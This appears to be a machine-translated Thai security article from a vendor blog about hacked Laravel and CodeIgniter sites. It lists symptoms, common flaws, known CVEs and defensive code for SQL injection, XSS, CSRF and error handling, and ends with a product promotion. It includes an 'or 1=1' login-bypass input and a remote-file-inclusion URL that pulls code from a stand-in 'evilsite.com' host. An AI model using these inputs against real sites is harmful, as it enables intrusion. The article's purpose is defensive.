Computer >> คอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยของเครือข่าย

เว็บไซต์ Laravel/CodeIgniter ถูกแฮ็ก? ช่องโหว่เหล่านี้อาจเป็นสาเหตุ

Laravel และ CodeIgniter เป็นเฟรมเวิร์ก PHP โอเพ่นซอร์สยอดนิยมสองเฟรมที่ใช้สร้างเว็บไซต์ อย่างไรก็ตาม การปรับใช้ไซต์โดยใช้เฟรมเวิร์กเหล่านี้ไม่ได้ทำให้พวกเขาปลอดภัย แต่เป็นแนวทางการพัฒนาที่ปลอดภัยซึ่งเป็นสิ่งสำคัญ การฉีด SQL ใน CodeIgniter และ Laravel เป็นหัวข้อด้านความปลอดภัยที่พบบ่อยที่สุดในฟอรัมความช่วยเหลือ นอกเหนือจาก SQLi แล้ว แนวทางการพัฒนาที่ไม่ปลอดภัยยังทำให้ไซต์เสี่ยงต่อการโจมตี XSS, CSRF, RFI และอื่นๆ อีกมากมาย

ตัวอย่างเว็บไซต์ Laravel/CodeIgniter ที่ถูกแฮ็ก

การโจมตีทั่วไปและแพร่หลาย เช่น การฉีด SQL ใน CodeIgniter หรือ Laravel สามารถประนีประนอมเว็บไซต์ได้ พบผู้ใช้จำนวนมากที่ประสบการโจมตีที่คล้ายกันเพื่อขอความช่วยเหลือในฟอรัมชุมชน Laravel หรือฟอรัมชุมชน CodeIgniter ตัวอย่างดังต่อไปนี้:

เว็บไซต์ Laravel/CodeIgniter ถูกแฮ็ก? ช่องโหว่เหล่านี้อาจเป็นสาเหตุ เว็บไซต์ Laravel/CodeIgniter ถูกแฮ็ก? ช่องโหว่เหล่านี้อาจเป็นสาเหตุ

อาการของ CodeIgniter หรือ Laravel Hacks

  • คุณพบหน้าฟิชชิ่ง Laravel หรือ CodeIgniter ที่ออกแบบมาเพื่อขโมยข้อมูลที่ละเอียดอ่อนบนเว็บไซต์ของคุณ
  • ผู้ใช้ของคุณบ่นเกี่ยวกับการถูกเปลี่ยนเส้นทางไปยังไซต์ที่เป็นอันตราย
  • คุณพบว่าเนื้อหาที่ไม่มีความหมายปรากฏบนไซต์ Laravel หรือ CodeIgniter ของคุณเนื่องจากการแฮ็กคำหลักของญี่ปุ่นหรือ Pharma Hack เป็นต้น
  • เว็บไซต์ Laravel หรือ CodeIgniter ของคุณทำงานช้ามากและแสดงข้อความแสดงข้อผิดพลาด
  • ในขณะที่ใช้โฮสติ้งบุคคลที่สาม ข้อความ "บัญชีของคุณถูกระงับ!" จะปรากฏขึ้น
  • ไซต์ Laravel หรือ CodeIgniter ของคุณถูกขึ้นบัญชีดำโดยเครื่องมือค้นหา
  • บันทึกข้อผิดพลาดแสดงการโจมตีบางอย่าง เช่น SQL Injection ใน CodeIgniter บนไซต์ของคุณ
  • บันทึกแสดงการเข้าสู่ระบบเว็บไซต์ของคุณจาก IP ระยะไกล
  • ใหม่ ผู้ดูแลระบบโกงจะปรากฏในฐานข้อมูลการเข้าสู่ระบบของเว็บไซต์ของคุณ

ช่องโหว่และการแฮ็กทั่วไป

1) การฉีดโจมตีใน CodeIgniter/Laravel

a) การฉีด SQL

SQL Injection ใน CodeIgniter เป็นการโจมตีที่แพร่หลายและแพร่หลายมาก ตามชื่อที่แนะนำ การโจมตีมุ่งเป้าไปที่ฐานข้อมูลของเซิร์ฟเวอร์ การใช้ประโยชน์จาก SQL Injection ใน Codeigniter ผู้โจมตีสามารถ:

  • ดึงข้อมูลจากฐานข้อมูล
  • แก้ไขเนื้อหาของฐานข้อมูล พวกเขายังวางฐานข้อมูลทั้งหมดได้!
  • ในบางกรณี พวกมันสามารถรับเปลือกย้อนกลับได้
  • ข้ามการตรวจสอบสิทธิ์โดยใช้อินพุตเช่น or 1=1 .

b) การแทรกโค้ด PHP

PHP Code Injection เป็นช่องโหว่ทั่วไปอีกประเภทหนึ่งที่ช่วยให้ผู้โจมตีสามารถรันโค้ดบนเว็บไซต์ Laravel/CodeIgniter อย่างไรก็ตาม มันแตกต่างจากการฉีดคำสั่งในแง่ที่ว่าผู้โจมตีสามารถดำเนินการได้เฉพาะคำสั่งของภาษานั้น ๆ เท่านั้น

การฉีดคำสั่งช่วยให้ผู้โจมตีสามารถรันคำสั่งผ่านเชลล์แบบย้อนกลับได้ ตัวอย่างเช่น พารามิเตอร์ที่มีช่องโหว่สามารถระบุลิงก์ไปยังไฟล์ที่เป็นอันตรายซึ่งมีโค้ด PHP ที่จะดำเนินการ เช่น https://testsite.com/?page=https://evilsite.com/evilcode.php .

ไฟล์นี้อาจมีฟังก์ชันเช่น phpinfo() ซึ่งสามารถนำไปใช้ในการรับข้อมูลได้

2) การเขียนสคริปต์ข้ามไซต์

ช่องโหว่ XSS เกิดขึ้นในเว็บไซต์ Laravel/CodeIgniter เนื่องจากขาดการฆ่าเชื้ออินพุต เฟรมเวิร์กทั้งสองมีฟังก์ชันความปลอดภัยที่ออกแบบมาโดยเฉพาะเพื่อหลีกเลี่ยงการโจมตีเหล่านี้ โดยใช้ประโยชน์จากการโจมตี XSS ผู้โจมตีสามารถ:

  • ผู้ใช้ฟิชชิ่งเพื่อขโมยคุกกี้และข้อมูลเซสชันที่ละเอียดอ่อนอื่นๆ
  • เปลี่ยนเส้นทางผู้ใช้ไปยังไซต์ที่เป็นอันตราย
  • ข้ามนโยบายต้นกำเนิดเดียวกัน

3) การปลอมแปลงคำขอข้ามไซต์

การโจมตีนี้มีจุดประสงค์เพื่อหลอกให้ผู้ใช้ดำเนินการที่ไม่ต้องการ อย่างไรก็ตาม สามารถใช้เพื่อจัดการข้อมูลเท่านั้น (เช่น การลบแบบฟอร์ม) แต่ไม่สามารถขโมยหรืออ่านได้ ในกรณีที่เลวร้ายที่สุด หากเหยื่อเป็นผู้ดูแล แอปพลิเคชันทั้งหมดสามารถถูกทำลายได้ การโจมตีนี้ใช้กลอุบายด้านวิศวกรรมสังคมเพื่อหลอกล่อเหยื่อให้คลิกที่ลิงก์ซึ่งดำเนินการคำสั่งต่างๆ เช่น การลบบัญชีในเบื้องหลัง

นอกจากช่องโหว่ทั่วไปเหล่านี้แล้ว ยังมีช่องโหว่บางประการเฉพาะสำหรับ CodeIgniter และ Laravel:

4) ช่องโหว่ที่ทราบใน CodeIgniter

  • การยกระดับสิทธิ์ (CVE-2020-10793):
    CodeIgniter จนถึงเวอร์ชัน 4.0.0 ช่วยให้ผู้โจมตีระยะไกลได้รับสิทธิ์ผ่าน ID อีเมลที่แก้ไขไปยังหน้า "เลือกบทบาทของผู้ใช้"

  • การตรึงเซสชัน (CVE-2018-12071):
    มีปัญหาการตรึงเซสชันใน CodeIgniter ก่อนเวอร์ชัน 3.1.9 เนื่องจาก session.use_strict_mode ในไลบรารีเซสชันมีการจัดการอย่างไม่ถูกต้อง

  • ปัญหาเอนทิตีภายนอก XML (CVE-2015-3907):
    CodeIgniter Rest Server (หรือที่รู้จักในชื่อ codeigniter-restserver) 2.7.1 อนุญาตให้โจมตี XXE

5) ช่องโหว่ที่ทราบใน Laravel

  • โหมดดีบัก:การเรียกใช้โค้ดจากระยะไกล (CVE-2021-3129 )
    พบช่องโหว่ RCE ใน laravel CMS แล้ว (เวอร์ชัน Laravel <=v8.4.2 ปลายเดือนพฤศจิกายน 2563 (ที่มา)

  • การเปิดเผยข้อมูล (CVE-2020-13909):
    หน้าจุดระเบิดก่อนเวอร์ชัน 2.0.5 สำหรับ Laravel จัดการกับ globals, _get, _post, _cookie และ _env ผิดพลาด ซึ่งช่วยให้ผู้โจมตีจากระยะไกลเข้าถึงข้อมูลที่อาจละเอียดอ่อนได้

  • ดีซีเรียลไลเซชัน (CVE-2019-9081):
    องค์ประกอบ Illuminate ของ Laravel Framework 5.7.x มีช่องโหว่ในการดีซีเรียลไลซ์เซชั่นที่สามารถนำไปสู่การเรียกใช้โค้ดจากระยะไกลได้ หากเนื้อหาสามารถควบคุมได้ ซึ่งเกี่ยวข้องกับเมธอด __destruct ของคลาส PendingCommand ใน PendingCommand.php

เว็บไซต์ของคุณใช้ Laravel หรือ CodeIgniter ถูกแฮ็กหรือไม่ ส่งข้อความถึงเราบนวิดเจ็ตแชท

การปกป้อง CodeIgniter/เว็บไซต์ Laravel ของคุณ

หลีกเลี่ยงการฉีด SQL ใน CodeIgniter

CodeIgniter มาพร้อมกับฟีเจอร์ความปลอดภัยมากมาย บางส่วนมีฟังก์ชันและไลบรารีเพื่อหลีกเลี่ยงการฉีด SQL คุณสามารถใช้คุณลักษณะเหล่านี้เพื่อหลีกเลี่ยงการโจมตีได้สามวิธี:

1. หนีการสืบค้นข้อมูลใน CodeIgniter

การหลบหนีข้อมูลก่อนที่จะส่งไปยังแอปพลิเคชัน PHP จะทำให้ข้อมูลปลอดภัย เป็นแนวทางปฏิบัติด้านความปลอดภัยอย่างหนึ่งที่ต้องปฏิบัติตามอย่างสม่ำเสมอ การค้นหาการหลบหนีสามารถทำได้สามวิธี:

  1. $this->db->escape(): กำหนดประเภทข้อมูลก่อนหลบหนี
  2. $this->db->escape_str(): ไม่ได้กำหนดประเภทข้อมูล เพียงแค่หลีกเลี่ยง
  3. $this->db->escape_like_str(): ใช้ได้กับเงื่อนไข

ตัวอย่างเช่น ดูข้อมูลโค้ดด้านล่าง

<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>

ในโค้ดนี้ ฟังก์ชัน $this->db->escape() ขั้นแรกกำหนดประเภทข้อมูลเพื่อหนีเฉพาะข้อมูลสตริงเท่านั้น นอกจากนี้ยังเพิ่มเครื่องหมายคำพูดเดี่ยวรอบข้อมูลที่ป้อนโดยอัตโนมัติ ซึ่งจะป้องกันไม่ให้ SQL Injection ใน CodeIgniter

2. การผูกข้อความค้นหาใน Codeigniter

นอกเหนือจากการล้างข้อมูลอินพุต การสืบค้นที่มีผลผูกพันยังสามารถทำให้โค้ดง่ายขึ้นในเว็บไซต์ CodeIgniter วิธีนี้ช่วยให้ระบบใส่ข้อความค้นหา ซึ่งจะช่วยลดความซับซ้อนสำหรับนักพัฒนา ตัวอย่างเช่น ดูข้อมูลโค้ดด้านล่าง:

<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>

ที่นี่ คุณอาจสังเกตเห็นเครื่องหมายคำถามแทนค่าในบรรทัดแรก เนื่องจากการผูกข้อความค้นหา เครื่องหมายคำถามเหล่านี้จึงถูกแทนที่จากค่าในอาร์เรย์ในบรรทัดที่สอง ในตัวอย่างก่อนหน้านี้ เราเห็นการหลีกเลี่ยงการค้นหาด้วยตนเอง ที่นี่ วิธีนี้ทำให้สำเร็จโดยอัตโนมัติ ดังนั้นจึงหยุดการฉีด SQL ใน CodeIgniter

3. Active Class Record ใน CodeIgniter

คุณสมบัติบันทึกที่ใช้งานอยู่ของ CodeIgniter ช่วยให้เราสามารถดำเนินการฐานข้อมูลด้วยบรรทัดโค้ดหรือสคริปต์ขั้นต่ำ เนื่องจากเป็นฟังก์ชันของระบบ การหนีแบบสอบถามจึงทำโดยอัตโนมัติ ตัวอย่างเช่น สามารถดึงข้อมูลทั้งหมดของตารางได้ด้วยแบบสอบถามง่ายๆ เพียงคำเดียว:

$query = $this->db->get('mytable');

หลีกเลี่ยงการฉีด SQL ใน Laravel

การแมปเชิงวัตถุใน Laravel ใช้การเชื่อมโยงข้อมูลอ็อบเจ็กต์ PHP เพื่อล้างข้อมูลอินพุตของผู้ใช้ซึ่งจะช่วยป้องกันการฉีด SQL Laravel การเชื่อมโยงพารามิเตอร์จะเพิ่มเครื่องหมายคำพูดโดยอัตโนมัติด้วย ซึ่งจะช่วยป้องกันการป้อนข้อมูลที่เป็นอันตราย เช่น หรือ 1=1 จากการเลี่ยงผ่านการตรวจสอบสิทธิ์

นี่คือการใช้งานการสืบค้นการโยงที่มีชื่อใน Laravel:

$results = DB::select('select * from users where id = :id', ['id' => 1]);

หลีกเลี่ยงการเขียนสคริปต์ข้ามไซต์ใน Codeigniter

เพื่อป้องกันการโจมตี XSS ที่เป็นไปได้ CodeIgniter มาพร้อมกับตัวกรอง XSS ที่สร้างไว้ล่วงหน้า ในกรณีที่ตัวกรองนี้พบคำขอที่เป็นอันตราย ตัวกรองจะแปลงเป็นเอนทิตีของอักขระ ซึ่งจะทำให้แอปพลิเคชันปลอดภัย ตัวกรองนี้สามารถเข้าถึงได้ผ่านทาง xss_clean() วิธีการ:

$data = $this->security->xss_clean($data);

อย่างไรก็ตาม บางครั้งผู้โจมตีสามารถแทรกโค้ดที่เป็นอันตรายภายในไฟล์ภาพได้ เพื่อป้องกันการโจมตีดังกล่าว ไฟล์ที่อัพโหลดสามารถตรวจสอบความปลอดภัยได้ ตัวอย่างเช่น ดูโค้ดด้านล่าง:

if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// file failed the XSS test
}

รหัสนี้จะคืนค่าบูลีนเป็น True หากภาพนั้นปลอดภัยและในทางกลับกัน อย่างไรก็ตาม เป็นที่น่าสังเกตว่าแนะนำให้ใช้ html_escape() เมธอด หากคุณต้องการกรองค่าแอตทริบิวต์ HTML

หลีกเลี่ยงการเขียนสคริปต์ข้ามไซต์ใน Laravel

การใช้ Escape String ทำให้สามารถหลีกเลี่ยงการโจมตี XSS ได้ในเว็บไซต์ Laravel สตริง Escape จะป้องกันไม่ให้มีการใช้อินพุตที่ไม่ถูกสุขอนามัย ในเวอร์ชัน Laravel> 5.1 คุณลักษณะนี้จะเปิดใช้งานโดยค่าเริ่มต้น ดังนั้นเมื่อป้อนข้อมูลเช่น

{{ $task->names }}
มีให้สำหรับ Laravel เวอร์ชันที่สูงกว่า 5.1 แอปพลิเคชันจะไม่เสี่ยงเนื่องจากการหลบหนีการสืบค้นอัตโนมัติ

การจำกัดความยาวของอินพุตที่ผู้ใช้ระบุสามารถป้องกันการโจมตี XSS และ SQLi บางประเภทได้ สามารถทำได้โดยใช้โค้ด HTML ด้านล่าง:

<input type="text" name="task" maxlength="10">

สามารถทำได้เช่นเดียวกันผ่านฟังก์ชัน JS {% raw %} {{}} {% endraw %} ไวยากรณ์ใน Laravel สามารถหลีกเลี่ยงเอนทิตี HTML ที่เป็นอันตรายใดๆ โดยค่าเริ่มต้นได้

มีบางไลบรารีที่ออกแบบมาเพื่อป้องกัน Laravel XSS โดยเฉพาะ หากคุณใช้เครื่องมือเทมเพลตอย่าง Blade มันจะใช้การหลบหนีโดยอัตโนมัติเพื่อป้องกันการโจมตีดังกล่าว

การป้องกันการโจมตี CSRF ใน CodeIgniter

สามารถเปิดใช้งานการป้องกัน CSRF ใน CodeIgniter โดยแก้ไขไฟล์ application/config/config.php เพียงเพิ่มโค้ดต่อไปนี้ต่อท้ายไฟล์:

$config['csrf_protection'] = TRUE;

หากคุณใช้ Form Helper คุณสามารถใช้ฟังก์ชัน form_open() เพื่อแทรกฟิลด์โทเค็น CSRF ที่ซ่อนอยู่ในแบบฟอร์มโดยค่าเริ่มต้น วิธีอื่นในการใช้การป้องกัน CSRF คือการใช้ get_csrf_token_name() และ get_csrf_hash() . สำหรับการอ้างอิง โปรดดูที่ข้อมูลโค้ดสองรายการด้านล่างของแบบฟอร์มและการใช้งานฝั่งเซิร์ฟเวอร์:

<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />

————————————————————

$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());

การสร้างโทเค็นใหม่ยังเป็นแนวทางปฏิบัติที่ปลอดภัยอีกวิธีหนึ่งในการป้องกันการโจมตี CodeIgniter CSRF อย่างไรก็ตาม การสร้างโทเค็นใหม่อาจเป็นปัญหาได้ เนื่องจากผู้ใช้อาจต้องตรวจสอบความถูกต้องอีกครั้งหลังจากนำทางไปยังแท็บอื่น การสร้างโทเค็นใหม่สามารถทำได้โดยใช้พารามิเตอร์การกำหนดค่าต่อไปนี้:

$config['csrf_regenerate'] = TRUE;

การป้องกันการโจมตี CSRF ใน Laravel

โทเค็นถูกนำมาใช้ในรูปแบบ Laravel เพื่อป้องกันการโจมตี CSRF โทเค็นเหล่านี้จะถูกเรียกโดยใช้การเรียก AJAX ซึ่งสามารถพบได้ในแต่ละรูปแบบ ข้อมูลจากโทเค็นคำขอจะจับคู่กับข้อมูลที่จัดเก็บไว้ในเซิร์ฟเวอร์สำหรับการตรวจสอบความผิดปกติในเซสชันของผู้ใช้ โทเค็น CSRF สามารถส่งผ่านไปยังแบบฟอร์มโดยใช้รหัสต่อไปนี้ (Blade Templates Implementation):

<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- Other inputs can come here-->
</form>

อย่างไรก็ตาม โทเค็น CSRF สามารถเพิ่มได้ตามค่าเริ่มต้นในขณะที่ใช้แพ็คเกจ LaravelCollective/HTML

บล็อกการรายงานข้อผิดพลาดใน CodeIgniter

ข้อผิดพลาดของไฟล์มีประโยชน์ในสภาพแวดล้อมการพัฒนา อย่างไรก็ตาม บนเว็บ ข้อผิดพลาดของไฟล์ CodeIgniter อาจทำให้ข้อมูลที่ละเอียดอ่อนรั่วไหลไปยังผู้โจมตีได้ ดังนั้นจึงเป็นแนวทางปฏิบัติที่ปลอดภัยในการปิดการรายงานข้อผิดพลาด

ข้อผิดพลาด PHP

หากต้องการปิดการรายงานข้อผิดพลาด PHP ให้ใช้ไฟล์ index.php เพียงส่งค่าศูนย์เป็นอาร์กิวเมนต์ไปยังฟังก์ชัน error_reporting() ดูตัวอย่างด้านล่างเพื่อใช้อ้างอิง:

error_reporting(0);

อย่างไรก็ตาม สำหรับ CodeIgniter เวอร์ชัน 2.0.1 ขึ้นไป ค่าคงที่ของสภาพแวดล้อมใน index.php สามารถตั้งค่าไฟล์เป็น “การผลิต” เพื่อปิดการใช้งานเอาต์พุตข้อผิดพลาด PHP

ข้อผิดพลาดของฐานข้อมูล

ข้อผิดพลาดของฐานข้อมูลสามารถปิดใช้งานได้โดยการแก้ไข application/config/database.php ไฟล์. เพียงตั้งค่าตัวเลือก db_debug เป็น FALSE ดูตัวอย่างด้านล่างเพื่อใช้อ้างอิง:

$db['default']['db_debug'] = FALSE;

บันทึกข้อผิดพลาด

วิธีที่ชาญฉลาดในการทำเช่นนี้คือการถ่ายโอนข้อผิดพลาดที่เกิดขึ้นกับไฟล์บันทึกซึ่งจะป้องกันไม่ให้แสดง ตัวเลือกเกณฑ์การบันทึกของ /config/config.php ไฟล์สามารถตั้งค่าเป็น 1 เพื่อจุดประสงค์นี้ ดูตัวอย่างด้านล่าง:

$config['log_threshold'] = 1;

ใช้ไฟร์วอลล์เว็บแอปพลิเคชันสำหรับ Laravel หรือ CodeIgniter

ผู้โจมตีค้นหาวิธีใหม่ๆ ในการประนีประนอมเว็บไซต์ของคุณอยู่เสมอ ดังนั้น แนวทางปฏิบัติที่ปลอดภัยอีกประการหนึ่งคือการใช้ไฟร์วอลล์หรือโซลูชันการรักษาความปลอดภัยบางประเภท Astra Security เป็นโซลูชันด้านความปลอดภัยที่ออกแบบมาเพื่อตอบสนองความต้องการที่ยืดหยุ่นของคุณ เพียงส่งข้อความถึงเราบนวิดเจ็ตแชทและเข้าใกล้การรักษาความปลอดภัยของเว็บไซต์ของคุณอีกขั้น รับการสาธิตตอนนี้!

เว็บไซต์ Laravel/CodeIgniter ถูกแฮ็ก? ช่องโหว่เหล่านี้อาจเป็นสาเหตุ

Astra Security ให้การตรวจสอบความปลอดภัยที่ครอบคลุมสำหรับเว็บไซต์ Laravel หรือ CodeIgniter ของคุณด้วยการทดสอบที่ใช้งานมากกว่า 80 รายการ ซึ่งเป็นการผสมผสานที่ลงตัวระหว่างการทดสอบอัตโนมัติและการทดสอบด้วยตนเอง